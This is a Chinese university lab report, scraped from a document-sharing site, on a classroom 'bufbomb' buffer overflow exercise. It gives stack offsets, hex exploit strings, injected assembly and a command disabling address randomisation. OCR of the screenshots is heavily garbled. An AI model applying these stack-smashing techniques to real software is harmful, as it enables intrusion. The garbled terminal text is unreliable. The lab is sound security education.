




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、深圳大学实验报告课程名称:计算机系统(2)实验项目名称: 缓冲区溢出攻击实验学院:计算机与软件学院专业:指导教师:罗秋明报告人: 学号: 班级: 实验时间:2017年5月12日实验报告提交时间:教务处制一、实验目标:1. 理解程序函数调用中参数传递机制;2. 掌握缓冲区溢出攻击方法;3. 进一步熟练掌握 GDB 调试工具和 objdump 反汇编工具。二、实验环境:1. 计算机( Intel CPU)2. Linux32 位操作系统( Ubuntu 16.04)3. GDB 调试工具4. objdump 反汇编工具三、实验内容本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。 我们仅给黑客
2、 (同学) 提 供一个二进制可执行文件 bufbomb 和部分函数的 C 代码,不提供每个关卡的源代码。程序 运行中有 3 个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!要求同学查看各关卡的要求,运用 GDB 调试工具和 objdump 反汇编工具 ,通过分析 汇编代码和相应的栈帧结构 , 通过缓冲区溢出办法在执行了 getbuf() 函数返回时作攻击,使 之返回到各关卡要求的指定函数中。 第一关只需要返回到指定函数, 第二关不仅返回到指定 函数还需要为该指定函数准备好参数, 最后一关要求在返回到指定函数之前执行一段汇编代 码完成全局变量的修改。实验代码 bufbomb 和相
3、关工具( sendstring/makecookie )的更详细内容请参考“实验四 缓冲区溢出攻击实验 .pptx ”。本实验要求解决关卡 1、2、 3,给出实验思路,通过截图把实验过程和结果写在实验报 告上。四、实验步骤和结果首先是 makecookie:yangltbin_201440329ubuntu:-$ £udo susudo password for yangItbtn_2&14040329;rootubuntu:/hone/yanqlibin_2&14040229# cd Desktop/ rootubtntu r/heme/yanglibi n_301
4、404B139/Desktop# file nakecDokie -nakecookie: ELF 32 - bit LSB executable, Intelversion 1 (SYSV), dynamically linked, Interpreter /Ltb/ld-llruxsoz, for GNU/Lt nux 2.6.9f not strippedrootubuntu:/hone/yanglibtn_2614O40329/Desktap# chod 士k nakecookirootubuntu:/bcne/yanglibtn 2614040329/Desktop# ,/nakec
5、ookie ylb 0x?3977?d5rootgubuntu:/heme/yangItbxn_2G14040329/Desktop# |步骤1返回到smoke()1.1解题思路步骤1是要修改getbuf()的返回地址,在执行完getbuf()后不是返回到原来的调用 者test(),而是跳到一个叫做smoke()的函数里。只需构造一段字符串让 Gets()全部拷贝到buf数组了,从而造成缓冲区溢出。同 时最重要的一点是:将smoke()函数的初始地址也放到构造的字符串内,使其恰 好覆盖到 getbuf()的 return address位置。1.2解题过程首先要知道smoke()的初始地址,用
6、objdump查看符号表OS04Bt?60 耳9OB9494HO g c thunk.bx0&4aeO gbaLjoFfSEtgBBO4ae04 ouoeeeoo CBMaUe BMOfleiSO eaa4a&O0 0904eld4 069194d8 ed£)0006590 萌oeeeoo o&aoeeooOSMalSB ebaoe»oo 帕如遇o C&00C500QTABl IF.L”t O»OOO04e *A85* neaea»no .text neooeeoo*abs* aaoBSBeoJND* 0&0600
7、43*g萌如®帕4*UWD* d 帕MB32ABS* 80308000.bsi 00066004,radatQC&M054F rF或 £« D D D t D 0 D00300031怕冷寻帕轴 aooeas9s eeooeaeo ooeooaeBBQ48f40|6804Beb0|eeoeoeeo&04aidofi9006000OBOQeBDOCBM8V1Sfl&flOflBftOt)99QBBa0-tfXt 03900923 .text 06066023 *JND* aaoee&i?.t»SS 怙前帕$4 *11ND*
8、187;0de«039*JND* QOOCQadC .text OMO0e4e *10* 日血阳昶5口* flaaeaBJiru;_edata.hidden 16B&.get pThidden _GLOendnenSettcGLlB 匚_2.日 itdln®CLlBC Le 5pc憾筋LT肚二2.1 _lnlt_array_start optergGLl6C_2.0_IO_stdin_ussrandQrGLB匚 2.9 prtnt十剧砂CiLlBC 2.6 fwrite£GLlBC,2.G _dta_startIQ gtttCLlBC z. 0 _Jv_R
9、#giiterCl.asse5 _ctype_b_locCLIBCbuhandlrr snok? rand3GLl&C_2,O Lean alarGLlBC_2.e cusertd 电 GLl:_2.o bdriq_gn&h $tart_ rtrcpyGLiec- 3,Bsmoke的初始地址是0x08048eb0°buf第一个元素的地址是-0x18,而return address第一个字节的地址是0x04,两个位置的相差换算成十进制就是 0x04 - (-0x18) = 4 + 24 = 2&也就是说我们要构造28个字符,然后加上smoke()的地址就能准确覆
10、 盖至U return address了。1.3最终结果截图r aotubur tu ! /hofne/yanllbin_2&1494e325/Desktop# raotubuntu:/hone/yanglibin_2&104C39/De5ktop# it* txt> eKplott raWi txtrootubuntu: /hone/yanglibiri_7eM04e329/Dektop# t | bufbcmb -t ylbbufbomb: cinmand not foundroot0uburtu;/hone/vnqltbtn 291494&329/Deskt
11、op# t |./hufbonb -t ylbTeen: ylbcookie: 0X239772d5Type stringrSnoke!: You called snoketJNICE JOBlSent validatton infornmtlcin to grading servervt exploit.txt* / 5endstring *;explcat exploit_raw-txC3t exploit rawHtxoat电ubuntu JhoEEf斗3斗电步骤2返回到fizz()并准备相应参数2.1解题思路通过objdump -t查看符号表中fizz()函数的初始地址。拿到了地址 0
12、x08048e60, 只要用它替换掉之前exploit.raw中smoke()的地址就能让getbuf()执行完毕后返 回到fizz()中。然后用makecookie生成我的用户名ylb。以getbuf()调用Gets()为 例,看一下调用者的代码和对应的栈。2.2解题过程rot>t<j bun tui i /hone / y a ng Libi n_2614(M0329 /De s kt op* objdunp -S -d t b1 :lufbonb |grep -A15yJ亡* * ¥SB48adO15Spush%ebpk朋找咼:&9e5nOvB048ad3:
13、83ec28sub5&x28esp8&4Badl6i8d45e8lea-ftxl8(Kebp)JKeaMB64S0d9;B98424navA804fladc:e8dffeffffcallRO4R9c0 *;GetuftflilRflPl :c9leavpa04&a&2:b8ei0050Q6novKI8043d&TrC3retaES:9©napSB48ae9£Sdb426eoae £)o solea8xe!fiesi.KelzSrsiafiGSdfe4Vdliddte->:5Spush%ebpsaadfii89e5nov
14、耗豐土p監£bpB04fiC66:pushxebpBMBefil:S9e5ROVNesp,Xebp83ecoesub8b4508RQV0x8(set>p) ,%eax3b轻al&4灯8CHpQx8S4aid46048etjf:74If8948&?1:89442404ROWfi-JAi jI a»T£ c70424昶 04 98RQvl$&x80斗和t心吊p)Trash27ffffcalla&487d0 «prtntffpltrootubuintu : /hare/yanglib Ln_2fll4640S29/l&am
15、p;e5>ktDp# ob jdurp -d buf bonb | grep -A36u先分析出从getbuf()函数结束后,到调用fizz()函数前栈的情况:0x0c 即将是fizz()栈区0x08 即将是fizz()栈区0x04getbuf()的返回地址(即fizz()的地址)<-%esp0x00getbuf()中 %ebp 的保存值得知,在返回并调用fizz()前,栈指针指向0x04处(相对getbuf()中的%ebp为0x00),随后fizz()调用时,会把fizz()的%ebp值压入栈中,8048e66:8b 45 08mov 0x8(%ebp),%eax8048e69:
16、3b 05 d4 a1 04 08 cmp 0x804a1d4,%eax再结合这两行代码得知,fizz()函数的传入参数是应该存放在 0x8(%ebp)处的,栈 的情况应变为:0x0c fizz的传入参数0x08 fizz()的返回地址0x04 fizz()中%ebp的保存值 <-%esp (因为压栈,getbuf()的返回地址被替换)0x00getbuf()中 %ebp 的保存值628192262728608e0408这串字符串刚覆盖到 0x08,即还需要覆盖 4个字节,然 后传入黑客cookie值./makecookie ylb利用该命令获得个人黑客 cookie值为0x239772
17、d5黑客cookie值依据小端法调整为96 3c df 30,cookie值前方还需覆盖4个字节, 故得到完整字符串内容为:628192262728608e4d57297230d-t ylbcat exploit2.txt | ./se ndstri ng | ./bufbomb最后通过以上指令来把字符串内容构造并输入到bufbomb程序中2.3最终结果截图rootubuntu:/hoe/anglibin_261404&325/Desktoptt cat exploits.txt | /seridstrtng | »/bufbomb t ylbTeam: ylbCookte:
18、 0x239772d5Type string : Fizz! i You ca 11 ed f izz(0)c239772d5)NICE JOB ISent vdltddttan Infor nidtton to gr ddlnit sei verYou hve new matt tc /var/matl/roDt步骤3返回到bang()且修改global_value3.1解题思路因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出到.bss段(因为global_value初始化为0,所以它会被放在.bss而非.data段以节省空间) 覆盖global_value的值。若修改了 .bs
19、s和.text之间某些只读的段会引起操作系统 的“警觉”而报错。所以在进入ban g()之前我们需要执行一小段我们自己的代码 去修改global_value,这一段代码就叫做 exploit code。3.2解题过程a. bang()和 global_value 地址rootubuntu:J/hone/ydngllbin_2ei4a4e3?9j/Desktop# objdunp 讥 bufbonb | grep -e bang -e globalvalu30O4dlc4 g0 .bssD80<48el0 gF .text 0000004croorgubuntd:/hop>e/yan
20、gllbtn zoiA04e329/oesktopff |得到 bang()的入口地址 0x08048e10,以及 global_value 的地址 0x0804a1c4利用gdb调试获得buf字符数组的首地址,即是注入代码的首地址。gdb bufbomb;调试程序disass getbuf ;查看getbuf的汇编代码站 7 畚“耳a 丁7 7 L 工f 1 V11(gdb) dlsass getbufDump of assembler codefor function getbuf:0xQ8048adO<+0> ;push%eb|pOx&8O8ddl<tl>
21、;iriovXesipiWebpOx&8048ad3<+3> :sub50x28,Mesp6x08048ad6<+6> :lea-0xl8(3fiebp),%eaxx&8048ad9<49>:IFOV%eaxf(%esp)Ox&8048adc<412>:callGx80489ce <GetS>0xOS04Sel<+17>;leave幻耳&3048aeZ<+135:novSexleaxOx&8048ae7<+23>:retEnd of assembler dump,
22、If _ -II- +_给getbuf()设置断点,程序把断点设置在0x8048ad6(gdb) b getbufBreakpoint 1 at 0x8948ad6(gdb)run - t ylb ;运行程序p $ebp-0x18;由 lea -0x18(%ebp),%eax分析出 buf 地址为 %ebp地址-0x18(gdb) un -t ylbstarting program: /home/yangltbtn_zo14040J29/Desktop/bufbomb -t yl bTeam; ylbCookie:Breakpoint 1, 0xO3e48ad6 tn getbuf ()(gd
23、b) p 5ebp-exl8$1 - (void *) Oxbfffb?ao(gdb I得出buf地址,也即注入代码地址应为 接下来编写注入代码(汇编代码).code32movl $0x333382e2, 0x0804a1c4pushl $0x08048e10ret0xbfffb930;让gcc以32位模式来编译; 令 global_value = cookie 值;%esp -> bang 入口地址;ret ban g()gcc - c exploit_code.sobjdump d exploit_code.o/编译汇编文件为可重定位文件.s -> .o查看可重定位文件的内容r
24、aotubuntu:>horw/yaflflltbln_z014O4G3?9/D«ktop# vt explott_ccde,s rooTubuntu:/hone/yangitbtn /Orsktopf gre c cxplott cod .5rwtubuntu;/hone/yanglibin_2014M032V/>«kt p# objdunp -d expluit cod?.QfxpLoit Cfldfr.o:Ttli format elLt32-1386DtSSnbly of section ,text:e;c7&5C4 al 64OS e2novi
25、$0x3335B2e2,7:82 33 33a:fiB19Be 64 GSpu占h$0x64813ft 3retIraoTubunt u i / horw/yanflltliln_2ei4eW29/Desktop< |最终获得注入代码的16进制机器码,为16字节。在第1题中返回地址前有 28个字节的空间,故在注入代码后面仍需补充12个字节的空间,为方便计数定为0112,紧接着则是buf的地址,让getbuf()返回时跳转到注入代码的首地址, 按照小端法,buf地址应为30 b9 ff ff,故完整字符串为:C7 05 c4 a1 04 08 e2 82 33 33 68 10 8e 04
26、 08 c3 01 02 03 04 05 06 07 08 09 10 11 12 30 b9 ff bf 0d忽略空格(和下划线)后,得到 exploit3.txt的内容为:C705c4a10408e282333368108e0408c36230b9ffbf0dLinux内存地址有随机化机制,若随机化机制打开,那么每次运行程序,%ebp的 地址可能是不一样的,即 buf地址无法确定(注入代码开始地址无法确定),这 样的话,注入代码将无法正确编写。所以需要先关闭Linux内存地址随机化机制, 才能完成实验。可以通过设置kernel.randomize_va_space内核参数来设置内存地址随机化的行为# echo 0 >/proc/sys/kernel/ra ndomize_va_spacerootubuntu:/home/yanglibtn_2B14040329/Dktoprt vt exploits.txt rootubuntu:ngl
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 环境影响评价与造价咨询合同
- 业务持续性协议
- 现场美食制作协议
- 在线微课堂中介合同
- 山林转让合同集合(19篇)
- 模具厂入股合同协议
- 欠薪赔偿协议书范本
- 商业项目转让合同协议
- 快餐包月协议书模板
- 周星驰签约协议书模板
- 第18课《井冈翠竹》课件-2024-2025学年统编版语文七年级下册
- 公立医院成本核算指导手册
- MOOC 中医与辨证-暨南大学 中国大学慕课答案
- 年产10吨功能益生菌冻干粉的工厂设计改
- 安全生产管理组织机构设置图
- 智能健身镜行业分析及案例
- 中联HIS系统挂号收费 操 作 说 明
- HIT(肝素诱导的血小板减少症)课件
- Mayo肘关节功能评分
- 螺栓加工工序卡(共7页)
- 《焦虑症基础知识》PPT课件.ppt
评论
0/150
提交评论